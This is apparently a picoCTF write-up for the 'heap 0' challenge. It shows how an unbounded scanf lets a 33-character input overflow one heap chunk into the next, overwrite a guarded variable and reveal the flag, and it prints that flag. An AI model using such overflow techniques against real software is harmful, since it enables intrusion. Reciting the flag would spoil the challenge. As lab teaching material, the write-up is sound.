heap 0
- Description: Are overflows just a stack concern?
- Difficulty: Easy
🔎 Solution
Upon inspecting the source code, we observe that the program allocates 2 heap variables as follows:
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
After connecting to the server, we're presented with a simple interactive menu offering several options:
1. Print Heap (print the current state of the heap)
2. Write to buffer (write to your own personal block of data on the heap)
3. Print safe_var (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag (Try to print the flag, good luck)
5. Exit
To retrieve the flag using option 4, we need to pass the condition in the check_win()
function.
Specifically, we must modify the contents of safe_var
so that it no longer equals "bico":
void check_win() {
if (strcmp(safe_var, "bico") != 0) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flag for you :(\n");
fflush(stdout);
}
}
Looking at how user input is handled, we find the following function tied to option 2:
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
The key vulnerability here is the use of scanf("%s", ...)
without bounds checking.
Since input_data
resides before safe_var
on the heap, overflowing input_data
allows us to overwrite safe_var
.
Selecting option 1 (Print Heap) reveals the following state:
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5ac3adc6f2b0 -> pico
+-------------+----------------+
[*] 0x5ac3adc6f2d0 -> bico
+-------------+----------------+
From this, we infer that:
input_data
is located at0x5ac3adc6f2b0
safe_var
is located at0x5ac3adc6f2d0
Calculating the offset:
(gdb) p/x 0x5ac3adc6f2d0 - 0x5ac3adc6f2b0
$2 = 0x20
This gives an offset of 0x20 bytes (or 32 in decimal) between the 2 heap chunks.
Now, to overwrite safe_var
, we simply input any string longer than 32 characters when prompted by option 2.
For example, I use abcdefghabcdefghabcdefghabcdefgh1
.
This input overflows past input_data
and modifies safe_var
, changing its value and causing the strcmp in check_win()
to succeed.
Now, choosing option 4 (Print Flag) will trigger the win condition and print the flag.
Enter your choice: 4
YOU WIN
picoCTF{my_first_heap_overflow_4fa6dd49}
🚩Flag
picoCTF{my_first_heap_overflow_4fa6dd49}